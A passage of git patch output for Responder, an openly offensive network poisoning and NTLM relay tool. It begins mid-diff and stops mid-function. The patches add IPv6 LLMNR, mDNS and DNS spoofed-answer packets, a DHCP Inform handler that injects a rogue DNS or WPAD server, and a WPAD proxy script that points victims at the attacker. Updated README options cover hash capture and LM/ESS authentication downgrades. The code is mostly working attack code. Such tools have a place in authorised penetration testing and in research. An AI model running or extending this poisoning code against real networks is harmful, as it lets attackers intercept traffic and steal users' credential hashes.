2008b1c..a2ee6ed 100755 --- a/settings.py +++ b/settings.py @@ -132,7 +132,7 @@ class Settings: self.ProxyAuth_On_Off = options.ProxyAuth_On_Off self.CommandLine = str(sys.argv) self.Bind_To = utils.FindLocalIP(self.Interface, self.OURIP) - self.DHCP_WPAD = options.DHCP_WPAD + self.DHCP_DNS = options.DHCP_DNS if self.Interface == "ALL": self.Bind_To_ALL = True From 3e8c9fdb0eceb3eb1f7c6dbc81502b340a5ca152 Mon Sep 17 00:00:00 2001 From: lgandx Date: Mon, 13 Dec 2021 20:30:14 -0300 Subject: [PATCH 011/114] added: dhcp inform --- poisoners/DHCP.py | 22 +++++++++++++++++++++- 1 file changed, 21 insertions(+), 1 deletion(-) diff --git a/poisoners/DHCP.py b/poisoners/DHCP.py index 443f1a3..599812c 100755 --- a/poisoners/DHCP.py +++ b/poisoners/DHCP.py @@ -85,7 +85,7 @@ ROUTERIP = Responder_IP # Set to Responder_IP in case we fall on a st NETMASK = "255.255.255.0" DNSIP = "0.0.0.0" DNSIP2 = "0.0.0.0" -DNSNAME = "lan" +DNSNAME = "local" WPADSRV = "http://"+Responder_IP+"/wpad.dat" Respond_To_Requests = True DHCPClient = [] @@ -280,6 +280,26 @@ def ParseDHCPCode(data, ClientIP,DHCP_DNS): 'RequestedIP': IPConv, }) return 'Acknowledged DHCP Request for IP: %s, Req IP: %s, MAC: %s' % (CurrentIP, IPConv, MacAddrStr) + + # DHCP Inform + elif OpCode == b"\x08": + IP_Header = IPHead(SrcIP = socket.inet_aton(ROUTERIP).decode('latin-1'), DstIP=socket.inet_aton(CurrentIP).decode('latin-1')) + Packet = DHCPACK(Tid=PTid.decode('latin-1'), ClientMac=MacAddr.decode('latin-1'), ActualClientIP=socket.inet_aton(CurrentIP).decode('latin-1'), + GiveClientIP=socket.inet_aton("0.0.0.0").decode('latin-1'), + NextServerIP=socket.inet_aton("0.0.0.0").decode('latin-1'), + RelayAgentIP=socket.inet_aton("0.0.0.0").decode('latin-1'), + ElapsedSec=Seconds.decode('latin-1')) + Packet.calculate(DHCP_DNS) + Buffer = UDP(Data = Packet) + Buffer.calculate() + SendDHCP(str(IP_Header)+str(Buffer), (CurrentIP, 68)) + DHCPClient.append(MacAddrStr) + SaveDHCPToDb({ + 'MAC': MacAddrStr, + 'IP': CurrentIP, + 'RequestedIP': RequestedIP, + }) + return 'Acknowledged DHCP Inform for IP: %s, Req IP: %s, MAC: %s' % (CurrentIP, RequestedIP, MacAddrStr) elif OpCode == b"\x01" and Respond_To_Requests: # DHCP Discover IP = FindIP(data) From bc812da2ef4a522f1e9f7016212535b11ebe00df Mon Sep 17 00:00:00 2001 From: lgandx Date: Fri, 17 Dec 2021 00:32:12 -0300 Subject: [PATCH 012/114] Updated the Readme file with the new options and removed some old stuff --- README.md | 73 ++++++++++++++++++++++++++++--------------------------- 1 file changed, 37 insertions(+), 36 deletions(-) diff --git a/README.md b/README.md index 4677cff..9fbe7e8 100755 --- a/README.md +++ b/README.md @@ -1,6 +1,6 @@ # Responder/MultiRelay # -LLMNR/NBT-NS/mDNS Poisoner and NTLMv1/2 Relay. +IPv6/IPv4 LLMNR/NBT-NS/mDNS Poisoner and NTLMv1/2 Relay. Author: Laurent Gaffie https://g-laurent.blogspot.com @@ -8,12 +8,12 @@ Author: Laurent Gaffie https://g-laurent.blogspot.c ## Intro ## -Responder is an LLMNR, NBT-NS and MDNS poisoner. It will answer to *specific* NBT-NS (NetBIOS Name Service) queries based on their name suffix (see: http://support.microsoft.com/kb/163409). By default, the tool will only answer to File Server Service request, which is for SMB. - -The concept behind this is to target our answers, and be stealthier on the network. This also helps to ensure that we don't break legitimate NBT-NS behavior. You can set the -r option via command line if you want to answer to the Workstation Service request name suffix. The option -d is also available if you want to poison Domain Service name queries. +Responder is an LLMNR, NBT-NS and MDNS poisoner. ## Features ## +- Dual IPv6/IPv4 stack. + - Built-in SMB Auth server. Supports NTLMv1, NTLMv2 hashes with Extended Security NTLMSSP by default. Successfully tested from Windows 95 to Server 2022, Samba and Mac OSX Lion. Clear text password is supported for NT4, and LM hashing downgrade when the --lm option is set. If --disable-ess is set, extended session security will be disabled for NTLMv1 authentication. SMBv2 has also been implemented and is supported by default. @@ -129,42 +129,48 @@ Typical Usage Example: Options: - --version show program's version number and exit. - -h, --help show this help message and exit. + --version show program's version number and exit + -h, --help show this help message and exit -A, --analyze Analyze mode. This option allows you to see NBT-NS, - BROWSER, LLMNR requests without responding. + BROWSER, LLMNR requests without responding. -I eth0, --interface=eth0 - Network interface to use. - -i 10.0.0.21, --ip=10.0.0.21 - Local IP to use (only for OSX) - -e 10.0.0.22, --externalip=10.0.0.22 - Poison all requests with another IP address than - Responder's one. + Network interface to use, you can use 'ALL' as a + wildcard for all interfaces + -i 10.0.0.21, --ip=10.0.0.21 + Local IP to use (only for OSX) + -6 2002:c0a8:f7:1:3ba8:aceb:b1a9:81ed, --externalip6=2002:c0a8:f7:1:3ba8:aceb:b1a9:81ed + Poison all requests with another IPv6 address than + Responder's one. + -e 10.0.0.22, --externalip=10.0.0.22 + Poison all requests with another IP address than + Responder's one. -b, --basic Return a Basic HTTP authentication. Default: NTLM -r, --wredir Enable answers for netbios wredir suffix queries. - Answering to wredir will likely break stuff on the - network. Default: Off - -d, --NBTNSdomain Enable answers for netbios domain suffix queries. - Answering to domain suffixes will likely break stuff - on the network. Default: Off - -f, --fingerprint This option allows you to fingerprint a host that - issued an NBT-NS or LLMNR query. + Answering to wredir will likely break stuff on the + network. Default: False + -d, --DHCP Enable answers for DHCP broadcast requests. This + option will inject a WPAD server in the DHCP response. + Default: False + -D, --DHCP-DNS This option will inject a DNS server in the DHCP + response, otherwise a WPAD server will be added. + Default: False -w, --wpad Start the WPAD rogue proxy server. Default value is - Off + False -u UPSTREAM_PROXY, --upstream-proxy=UPSTREAM_PROXY - Upstream HTTP proxy used by the rogue WPAD Proxy for - outgoing requests (format: host:port) + Upstream HTTP proxy used by the rogue WPAD Proxy for + outgoing requests (format: host:port) -F, --ForceWpadAuth Force NTLM/Basic authentication on wpad.dat file - retrieval. This may cause a login prompt. Default: - Off - -P, --ProxyAuth Force NTLM (transparently)/Basic (prompt) - authentication for the proxy. WPAD doesn't need to - be ON. This option is highly effective when combined - with -r. Default: Off + retrieval. This may cause a login prompt. Default: + False + -P, --ProxyAuth Force NTLM (transparently)/Basic (prompt) + authentication for the proxy. WPAD doesn't need to be + ON. This option is highly effective when combined with + -r. Default: False --lm Force LM hashing downgrade for Windows XP/2003 and - earlier. Default: Off - --disable-ess Force ESS downgrade. Default: Off + earlier. Default: False + --disable-ess Force ESS downgrade. Default: False -v, --verbose Increase verbosity. + ## Donation ## @@ -199,11 +205,6 @@ We would like to thanks those major sponsors: Thank you. -## Official Discord Channel - -Come hang out on Discord! - -[![Porchetta Industries](https://discordapp.com/api/guilds/736724457258745996/widget.png?style=banner3)](https://discord.gg/sEkn3aa) ## Copyright ## From 5d4510cc1d0479b13ece9d58ea60d187daf8cdab Mon Sep 17 00:00:00 2001 From: lgandx Date: Fri, 17 Dec 2021 10:05:00 -0300 Subject: [PATCH 013/114] Added IPv6 support --- Responder.py | 82 +++++++++++++++++++---------- packets.py | 86 ++++++++++++++++++++++++++++-- poisoners/LLMNR.py | 36 +++++++------ poisoners/MDNS.py | 60 ++++++++++++--------- poisoners/NBTNS.py | 23 -------- servers/DNS.py | 20 ++++++- servers/FTP.py | 3 +- servers/HTTP.py | 17 ++---- servers/HTTP_Proxy.py | 9 ++-- servers/MSSQL.py | 0 servers/RDP.py | 2 +- settings.py | 32 ++++++++--- utils.py | 120 +++++++++++++++++++++++++++++++++++++----- 13 files changed, 352 insertions(+), 138 deletions(-) mode change 100644 => 100755 poisoners/LLMNR.py mode change 100644 => 100755 poisoners/MDNS.py mode change 100644 => 100755 poisoners/NBTNS.py mode change 100644 => 100755 servers/FTP.py mode change 100644 => 100755 servers/HTTP.py mode change 100644 => 100755 servers/HTTP_Proxy.py mode change 100644 => 100755 servers/MSSQL.py mode change 100644 => 100755 servers/RDP.py diff --git a/Responder.py b/Responder.py index b8a819e..17f0a68 100755 --- a/Responder.py +++ b/Responder.py @@ -29,14 +29,12 @@ parser = optparse.OptionParser(usage='python %prog -I eth0 -w -r -f\nor:\npython parser.add_option('-A','--analyze', action="store_true", help="Analyze mode. This option allows you to see NBT-NS, BROWSER, LLMNR requests without responding.", dest="Analyze", default=False) parser.add_option('-I','--interface', action="store", help="Network interface to use, you can use 'ALL' as a wildcard for all interfaces", dest="Interface", metavar="eth0", default=None) parser.add_option('-i','--ip', action="store", help="Local IP to use \033[1m\033[31m(only for OSX)\033[0m", dest="OURIP", metavar="10.0.0.21", default=None) - +parser.add_option('-6', "--externalip6", action="store", help="Poison all requests with another IPv6 address than Responder's one.", dest="ExternalIP6", metavar="2002:c0a8:f7:1:3ba8:aceb:b1a9:81ed", default=None) parser.add_option('-e', "--externalip", action="store", help="Poison all requests with another IP address than Responder's one.", dest="ExternalIP", metavar="10.0.0.22", default=None) parser.add_option('-b', '--basic', action="store_true", help="Return a Basic HTTP authentication. Default: NTLM", dest="Basic", default=False) -parser.add_option('-r', '--wredir', action="store_true", help="Enable answers for netbios wredir suffix queries. Answering to wredir will likely break stuff on the network. Default: False", dest="Wredirect", default=False) parser.add_option('-d', '--DHCP', action="store_true", help="Enable answers for DHCP broadcast requests. This option will inject a WPAD server in the DHCP response. Default: False", dest="DHCP_On_Off", default=False) parser.add_option('-D', '--DHCP-DNS', action="store_true", help="This option will inject a DNS server in the DHCP response, otherwise a WPAD server will be added. Default: False", dest="DHCP_DNS", default=False) -parser.add_option('-f','--fingerprint', action="store_true", help="This option allows you to fingerprint a host that issued an NBT-NS or LLMNR query.", dest="Finger", default=False) parser.add_option('-w','--wpad', action="store_true", help="Start the WPAD rogue proxy server. Default value is False", dest="WPAD_On_Off", default=False) parser.add_option('-u','--upstream-proxy', action="store", help="Upstream HTTP proxy used by the rogue WPAD Proxy for outgoing requests (format: host:port)", dest="Upstream_Proxy", default=None) parser.add_option('-F','--ForceWpadAuth', action="store_true", help="Force NTLM/Basic authentication on wpad.dat file retrieval. This may cause a login prompt. Default: False", dest="Force_WPAD_Auth", default=False) @@ -75,10 +73,11 @@ class ThreadingUDPServer(ThreadingMixIn, UDPServer): else: if (sys.version_info > (3, 0)): self.socket.setsockopt(socket.SOL_SOCKET, 25, bytes(settings.Config.Interface+'\0', 'utf-8')) + self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False) else: self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Interface+'\0') + self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False) except: - raise pass UDPServer.server_bind(self) @@ -91,10 +90,11 @@ class ThreadingTCPServer(ThreadingMixIn, TCPServer): else: if (sys.version_info > (3, 0)): self.socket.setsockopt(socket.SOL_SOCKET, 25, bytes(settings.Config.Interface+'\0', 'utf-8')) + self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False) else: self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Interface+'\0') + self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False) except: - raise pass TCPServer.server_bind(self) @@ -107,10 +107,11 @@ class ThreadingTCPServerAuth(ThreadingMixIn, TCPServer): else: if (sys.version_info > (3, 0)): self.socket.setsockopt(socket.SOL_SOCKET, 25, bytes(settings.Config.Interface+'\0', 'utf-8')) + self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False) else: self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Interface+'\0') + self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False) except: - raise pass self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_LINGER, struct.pack('ii', 1, 0)) TCPServer.server_bind(self) @@ -118,12 +119,18 @@ class ThreadingTCPServerAuth(ThreadingMixIn, TCPServer): class ThreadingUDPMDNSServer(ThreadingMixIn, UDPServer): def server_bind(self): MADDR = "224.0.0.251" - + MADDR6 = 'ff02::fb' self.socket.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR, 1) self.socket.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, 255) - Join = self.socket.setsockopt(socket.IPPROTO_IP,socket.IP_ADD_MEMBERSHIP, socket.inet_aton(MADDR) + settings.Config.IP_aton) + #IPV6: + if (sys.version_info > (3, 0)): + mreq = socket.inet_pton(socket.AF_INET6, MADDR6) + struct.pack('@I', if_nametoindex2(settings.Config.Interface)) + self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_JOIN_GROUP, mreq) + else: + mreq = socket.inet_pton(socket.AF_INET6, MADDR6) + struct.pack('@I', if_nametoindex2(settings.Config.Interface)) + self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_JOIN_GROUP, mreq) if OsInterfaceIsSupported(): try: if settings.Config.Bind_To_ALL: @@ -131,21 +138,25 @@ class ThreadingUDPMDNSServer(ThreadingMixIn, UDPServer): else: if (sys.version_info > (3, 0)): self.socket.setsockopt(socket.SOL_SOCKET, 25, bytes(settings.Config.Interface+'\0', 'utf-8')) + self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False) else: self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Interface+'\0') + self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False) except: - raise pass UDPServer.server_bind(self) class ThreadingUDPLLMNRServer(ThreadingMixIn, UDPServer): def server_bind(self): - MADDR = "224.0.0.252" + MADDR = '224.0.0.252' + MADDR6 = 'FF02:0:0:0:0:0:1:3' self.socket.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1) - self.socket.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, 255) - + self.socket.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, 255) Join = self.socket.setsockopt(socket.IPPROTO_IP,socket.IP_ADD_MEMBERSHIP,socket.inet_aton(MADDR) + settings.Config.IP_aton) - + + #IPV6: + mreq = socket.inet_pton(socket.AF_INET6, MADDR6) + struct.pack('@I', if_nametoindex2(settings.Config.Interface)) + self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_JOIN_GROUP, mreq) if OsInterfaceIsSupported(): try: if settings.Config.Bind_To_ALL: @@ -153,51 +164,61 @@ class ThreadingUDPLLMNRServer(ThreadingMixIn, UDPServer): else: if (sys.version_info > (3, 0)): self.socket.setsockopt(socket.SOL_SOCKET, 25, bytes(settings.Config.Interface+'\0', 'utf-8')) + self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False) else: self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Interface+'\0') + self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False) except: - raise - #pass + pass UDPServer.server_bind(self) + ThreadingUDPServer.allow_reuse_address = 1 +ThreadingUDPServer.address_family = socket.AF_INET6 + ThreadingTCPServer.allow_reuse_address = 1 +ThreadingTCPServer.address_family = socket.AF_INET6 + ThreadingUDPMDNSServer.allow_reuse_address = 1 +ThreadingUDPMDNSServer.address_family = socket.AF_INET6 + ThreadingUDPLLMNRServer.allow_reuse_address = 1 +ThreadingUDPLLMNRServer.address_family = socket.AF_INET6 + ThreadingTCPServerAuth.allow_reuse_address = 1 +ThreadingTCPServerAuth.address_family = socket.AF_INET6 def serve_thread_udp_broadcast(host, port, handler): try: - server = ThreadingUDPServer((host, port), handler) + server = ThreadingUDPServer(('', port), handler) server.serve_forever() except: print(color("[!] ", 1, 1) + "Error starting UDP server on port " + str(port) + ", check permissions or other servers running.") def serve_NBTNS_poisoner(host, port, handler): - serve_thread_udp_broadcast(host, port, handler) + serve_thread_udp_broadcast('', port, handler) def serve_MDNS_poisoner(host, port, handler): try: - server = ThreadingUDPMDNSServer((host, port), handler) + server = ThreadingUDPMDNSServer(('', port), handler) server.serve_forever() except: print(color("[!] ", 1, 1) + "Error starting UDP server on port " + str(port) + ", check permissions or other servers running.") def serve_LLMNR_poisoner(host, port, handler): try: - server = ThreadingUDPLLMNRServer((host, port), handler) + server = ThreadingUDPLLMNRServer(('', port), handler) server.serve_forever() except: - raise print(color("[!] ", 1, 1) + "Error starting UDP server on port " + str(port) + ", check permissions or other servers running.") - + def serve_thread_udp(host, port, handler): try: if OsInterfaceIsSupported(): - server = ThreadingUDPServer((host, port), handler) + server = ThreadingUDPServer(('', port), handler) server.serve_forever() else: - server = ThreadingUDPServer((host, port), handler) + server = ThreadingUDPServer(('', port), handler) server.serve_forever() except: print(color("[!] ", 1, 1) + "Error starting UDP server on port " + str(port) + ", check permissions or other servers running.") @@ -205,10 +226,10 @@ def serve_thread_udp(host, port, handler): def serve_thread_tcp(host, port, handler): try: if OsInterfaceIsSupported(): - server = ThreadingTCPServer((host, port), handler) + server = ThreadingTCPServer(('', port), handler) server.serve_forever() else: - server = ThreadingTCPServer((host, port), handler) + server = ThreadingTCPServer(('', port), handler) server.serve_forever() except: print(color("[!] ", 1, 1) + "Error starting TCP server on port " + str(port) + ", check permissions or other servers running.") @@ -216,10 +237,10 @@ def serve_thread_tcp(host, port, handler): def serve_thread_tcp_auth(host, port, handler): try: if OsInterfaceIsSupported(): - server = ThreadingTCPServerAuth((host, port), handler) + server = ThreadingTCPServerAuth(('', port), handler) server.serve_forever() else: - server = ThreadingTCPServerAuth((host, port), handler) + server = ThreadingTCPServerAuth(('', port), handler) server.serve_forever() except: print(color("[!] ", 1, 1) + "Error starting TCP server on port " + str(port) + ", check permissions or other servers running.") @@ -231,11 +252,11 @@ def serve_thread_SSL(host, port, handler): key = os.path.join(settings.Config.ResponderPATH, settings.Config.SSLKey) if OsInterfaceIsSupported(): - server = ThreadingTCPServer((host, port), handler) + server = ThreadingTCPServer(('', port), handler) server.socket = ssl.wrap_socket(server.socket, certfile=cert, keyfile=key, server_side=True) server.serve_forever() else: - server = ThreadingTCPServer((host, port), handler) + server = ThreadingTCPServer(('', port), handler) server.socket = ssl.wrap_socket(server.socket, certfile=cert, keyfile=key, server_side=True) server.serve_forever() except: @@ -243,7 +264,10 @@ def serve_thread_SSL(host, port, handler): def main(): try: + if (sys.version_info < (3, 0)): + print(color('\n\n[-]', 3, 1) + " Still using python 2? :(") print(color('\n[+]', 2, 1) + " Listening for events...\n") + threads = [] # Load (M)DNS, NBNS and LLMNR Poisoners diff --git a/packets.py b/packets.py index e533cf6..07c9a7d 100755 --- a/packets.py +++ b/packets.py @@ -23,7 +23,7 @@ import re from os import urandom from base64 import b64decode, b64encode from odict import OrderedDict -from utils import HTTPCurrentDate, SMBTime, RespondWithIPAton, StructPython2or3, NetworkRecvBufferPython2or3, StructWithLenPython2or3 +from utils import HTTPCurrentDate, SMBTime, RespondWithIPAton, RespondWithIPPton, RespondWithIP, StructPython2or3, NetworkRecvBufferPython2or3, StructWithLenPython2or3 # Packet class handling all packet generation (see odict.py). class Packet(): @@ -90,6 +90,32 @@ class DNS_Ans(Packet): self.fields["IP"] = RespondWithIPAton() self.fields["IPLen"] = StructPython2or3(">h",self.fields["IP"]) +class DNS6_Ans(Packet): + fields = OrderedDict([ + ("Tid", ""), + ("Flags", "\x85\x10"), + ("Question", "\x00\x01"), + ("AnswerRRS", "\x00\x01"), + ("AuthorityRRS", "\x00\x00"), + ("AdditionalRRS", "\x00\x00"), + ("QuestionName", ""), + ("QuestionNameNull", "\x00"), + ("Type", "\x00\x1c"), + ("Class", "\x00\x01"), + ("AnswerPointer", "\xc0\x0c"), + ("Type1", "\x00\x1c"), + ("Class1", "\x00\x01"), + ("TTL", "\x00\x00\x00\x1e"), #30 secs, don't mess with their cache for too long.. + ("IPLen", "\x00\x04"), + ("IP", "\x00\x00\x00\x00"), + ]) + + def calculate(self,data): + self.fields["Tid"] = data[0:2] + self.fields["QuestionName"] = ''.join(data[12:].split('\x00')[:1]) + self.fields["IP"] = RespondWithIPPton() + self.fields["IPLen"] = StructPython2or3(">h",self.fields["IP"]) + class DNS_SRV_Ans(Packet): fields = OrderedDict([ ("Tid", ""), @@ -181,6 +207,35 @@ class LLMNR_Ans(Packet): self.fields["AnswerNameLen"] = StructPython2or3(">B",self.fields["AnswerName"]) self.fields["QuestionNameLen"] = StructPython2or3(">B",self.fields["QuestionName"]) +class LLMNR6_Ans(Packet): + fields = OrderedDict([ + ("Tid", ""), + ("Flags", "\x80\x00"), + ("Question", "\x00\x01"), + ("AnswerRRS", "\x00\x01"), + ("AuthorityRRS", "\x00\x00"), + ("AdditionalRRS", "\x00\x00"), + ("QuestionNameLen", "\x09"), + ("QuestionName", ""), + ("QuestionNameNull", "\x00"), + ("Type", "\x00\x1c"), + ("Class", "\x00\x01"), + ("AnswerNameLen", "\x09"), + ("AnswerName", ""), + ("AnswerNameNull", "\x00"), + ("Type1", "\x00\x1c"), + ("Class1", "\x00\x01"), + ("TTL", "\x00\x00\x00\x1e"),##Poison for 30 sec. + ("IPLen", "\x00\x04"), + ("IP", "\x00\x00\x00\x00"), + ]) + + def calculate(self): + self.fields["IP"] = RespondWithIPPton() + self.fields["IPLen"] = StructPython2or3(">h",self.fields["IP"]) + self.fields["AnswerNameLen"] = StructPython2or3(">B",self.fields["AnswerName"]) + self.fields["QuestionNameLen"] = StructPython2or3(">B",self.fields["QuestionName"]) + # MDNS Answer Packet class MDNS_Ans(Packet): fields = OrderedDict([ @@ -200,6 +255,29 @@ class MDNS_Ans(Packet): ]) def calculate(self): + self.fields["IP"] = RespondWithIPAton() + self.fields["IPLen"] = StructPython2or3(">h",self.fields["IP"]) + +# MDNS6 Answer Packet +class MDNS6_Ans(Packet): + fields = OrderedDict([ + ("Tid", "\x00\x00"), + ("Flags", "\x84\x00"), + ("Question", "\x00\x00"), + ("AnswerRRS", "\x00\x01"), + ("AuthorityRRS", "\x00\x00"), + ("AdditionalRRS", "\x00\x00"), + ("AnswerName", ""), + ("AnswerNameNull", "\x00"), + ("Type", "\x00\x1c"), + ("Class", "\x00\x01"), + ("TTL", "\x00\x00\x00\x78"),##Poison for 2mn. + ("IPLen", "\x00\x04"), + ("IP", "\x00\x00\x00\x00"), + ]) + + def calculate(self): + self.fields["IP"] = RespondWithIPPton() self.fields["IPLen"] = StructPython2or3(">h",self.fields["IP"]) ################### DHCP SRV ###################### @@ -299,7 +377,7 @@ class IIS_Auth_Granted(Packet): ("ContentLen", "Content-Length: "), ("ActualLen", "76"), ("CRLF", "\r\n\r\n"), - ("Payload", "\n\n\n\nLoading\n\n\n"), + ("Payload", "\n\n\n\nLoading\n\n\n"), ]) def calculate(self): self.fields["ActualLen"] = len(str(self.fields["Payload"])) @@ -358,7 +436,7 @@ class WPADScript(Packet): ("ContentLen", "Content-Length: "), ("ActualLen", "76"), ("CRLF", "\r\n\r\n"), - ("Payload", "function FindProxyForURL(url, host){return 'PROXY wpadwpadwpad:3141; DIRECT';}"), + ("Payload", "function FindProxyForURL(url, host){return 'PROXY "+RespondWithIP()+":3141; DIRECT';}"), ]) def calculate(self): self.fields["ActualLen"] = len(str(self.fields["Payload"])) @@ -2228,7 +2306,7 @@ class SamLogonResponseEx(Packet): ("ServerName", settings.Config.MachineName), ("ServerTerminator", "\x00"), ("UsernameLen", "\x10"), - ("Username", "LGANDX"), + ("Username", settings.Config.Username), ("UserTerminator", "\x00"), ("SrvSiteNameLen", "\x17"), ("SrvSiteName", "Default-First-Site-Name"), diff --git a/poisoners/LLMNR.py b/poisoners/LLMNR.py old mode 100644 new mode 100755 index c56c8cb..296302b --- a/poisoners/LLMNR.py +++ b/poisoners/LLMNR.py @@ -14,9 +14,7 @@ # # You should have received a copy of the GNU General Public License # along with this program. If not, see . - -import fingerprint -from packets import LLMNR_Ans +from packets import LLMNR_Ans, LLMNR6_Ans from utils import * if (sys.version_info > (3, 0)): @@ -24,9 +22,6 @@ if (sys.version_info > (3, 0)): else: from SocketServer import BaseRequestHandler - - - def Parse_LLMNR_Name(data): import codecs NameLen = data[12] @@ -60,14 +55,13 @@ class LLMNR(BaseRequestHandler): # LLMNR Server class try: data, soc = self.request Name = Parse_LLMNR_Name(data).decode("latin-1") + LLMNRType = Parse_IPV6_Addr(data) + # Break out if we don't want to respond to this host if RespondToThisHost(self.client_address[0], Name) is not True: return None - if data[2:4] == b'\x00\x00' and Parse_IPV6_Addr(data): - Finger = None - if settings.Config.Finger_On_Off: - Finger = fingerprint.RunSmbFinger((self.client_address[0], 445)) - + #IPv4 + if data[2:4] == b'\x00\x00' and LLMNRType: if settings.Config.AnalyzeMode: LineHeader = "[Analyze mode: LLMNR]" print(color("%s Request by %s for %s, ignoring" % (LineHeader, self.client_address[0], Name), 2, 1)) @@ -77,7 +71,8 @@ class LLMNR(BaseRequestHandler): # LLMNR Server class 'ForName': Name, 'AnalyzeMode': '1', }) - else: # Poisoning Mode + + elif LLMNRType == True: # Poisoning Mode Buffer1 = LLMNR_Ans(Tid=NetworkRecvBufferPython2or3(data[0:2]), QuestionName=Name, AnswerName=Name) Buffer1.calculate() soc.sendto(NetworkSendBufferPython2or3(Buffer1), self.client_address) @@ -89,8 +84,19 @@ class LLMNR(BaseRequestHandler): # LLMNR Server class 'ForName': Name, 'AnalyzeMode': '0', }) - if Finger is not None: - print(text("[FINGER] OS Version : %s" % color(Finger[0], 3))) - print(text("[FINGER] Client Version : %s" % color(Finger[1], 3))) + + elif LLMNRType == 'IPv6': + Buffer1 = LLMNR6_Ans(Tid=NetworkRecvBufferPython2or3(data[0:2]), QuestionName=Name, AnswerName=Name) + Buffer1.calculate() + soc.sendto(NetworkSendBufferPython2or3(Buffer1), self.client_address) + LineHeader = "[*] [LLMNR]" + print(color("%s Poisoned answer sent to %s for name %s" % (LineHeader, self.client_address[0], Name), 2, 1)) + SavePoisonersToDb({ + 'Poisoner': 'LLMNR6', + 'SentToIp': self.client_address[0], + 'ForName': Name, + 'AnalyzeMode': '0', + }) + except: raise diff --git a/poisoners/MDNS.py b/poisoners/MDNS.py old mode 100644 new mode 100755 index dfb80ae..6973dc0 --- a/poisoners/MDNS.py +++ b/poisoners/MDNS.py @@ -20,7 +20,7 @@ if (sys.version_info > (3, 0)): from socketserver import BaseRequestHandler else: from SocketServer import BaseRequestHandler -from packets import MDNS_Ans +from packets import MDNS_Ans, MDNS6_Ans from utils import * def Parse_MDNS_Name(data): @@ -51,37 +51,45 @@ def Poisoned_MDNS_Name(data): class MDNS(BaseRequestHandler): def handle(self): - MADDR = "224.0.0.251" - MPORT = 5353 data, soc = self.request Request_Name = Parse_MDNS_Name(data) - + MDNSType = Parse_IPV6_Addr(data) # Break out if we don't want to respond to this host + if (not Request_Name) or (RespondToThisHost(self.client_address[0], Request_Name) is not True): return None if settings.Config.AnalyzeMode: # Analyze Mode - if Parse_IPV6_Addr(data): - print(text('[Analyze mode: MDNS] Request by %-15s for %s, ignoring' % (color(self.client_address[0], 3), color(Request_Name, 3)))) - SavePoisonersToDb({ - 'Poisoner': 'MDNS', - 'SentToIp': self.client_address[0], - 'ForName': Request_Name, - 'AnalyzeMode': '1', - }) - else: # Poisoning Mode - if Parse_IPV6_Addr(data): + print(text('[Analyze mode: MDNS] Request by %-15s for %s, ignoring' % (color(self.client_address[0], 3), color(Request_Name, 3)))) + SavePoisonersToDb({ + 'Poisoner': 'MDNS', + 'SentToIp': self.client_address[0], + 'ForName': Request_Name, + 'AnalyzeMode': '1', + }) + elif MDNSType == True: # Poisoning Mode + Poisoned_Name = Poisoned_MDNS_Name(data) + Buffer = MDNS_Ans(AnswerName = Poisoned_Name) + Buffer.calculate() + soc.sendto(NetworkSendBufferPython2or3(Buffer), self.client_address) + print(color('[*] [MDNS] Poisoned answer sent to %-15s for name %s' % (self.client_address[0], Request_Name), 2, 1)) + SavePoisonersToDb({ + 'Poisoner': 'MDNS', + 'SentToIp': self.client_address[0], + 'ForName': Request_Name, + 'AnalyzeMode': '0', + }) - Poisoned_Name = Poisoned_MDNS_Name(data) - Buffer = MDNS_Ans(AnswerName = Poisoned_Name, IP=RespondWithIPAton()) - Buffer.calculate() - soc.sendto(NetworkSendBufferPython2or3(Buffer), (MADDR, MPORT)) - - print(color('[*] [MDNS] Poisoned answer sent to %-15s for name %s' % (self.client_address[0], Request_Name), 2, 1)) - SavePoisonersToDb({ - 'Poisoner': 'MDNS', - 'SentToIp': self.client_address[0], - 'ForName': Request_Name, - 'AnalyzeMode': '0', - }) + elif MDNSType == 'IPv6': # Poisoning Mode + Poisoned_Name = Poisoned_MDNS_Name(data) + Buffer = MDNS6_Ans(AnswerName = Poisoned_Name) + Buffer.calculate() + soc.sendto(NetworkSendBufferPython2or3(Buffer), self.client_address) + print(color('[*] [MDNS] Poisoned answer sent to %-15s for name %s' % (self.client_address[0], Request_Name), 2, 1)) + SavePoisonersToDb({ + 'Poisoner': 'MDNS6', + 'SentToIp': self.client_address[0], + 'ForName': Request_Name, + 'AnalyzeMode': '0', + }) diff --git a/poisoners/NBTNS.py b/poisoners/NBTNS.py old mode 100644 new mode 100755 index 5000e81..088f667 --- a/poisoners/NBTNS.py +++ b/poisoners/NBTNS.py @@ -14,7 +14,6 @@ # # You should have received a copy of the GNU General Public License # along with this program. If not, see . -import fingerprint import sys from packets import NBT_Ans from utils import * @@ -24,21 +23,6 @@ if (sys.version_info > (3, 0)): else: from SocketServer import BaseRequestHandler -# Define what are we answering to. -def Validate_NBT_NS(data): - print("NBT-Service is:", NetworkRecvBufferPython2or3(data[43:46])) - if settings.Config.AnalyzeMode: - return False - elif NBT_NS_Role(NetworkRecvBufferPython2or3(data[43:46])) == "File Server": - return True - elif 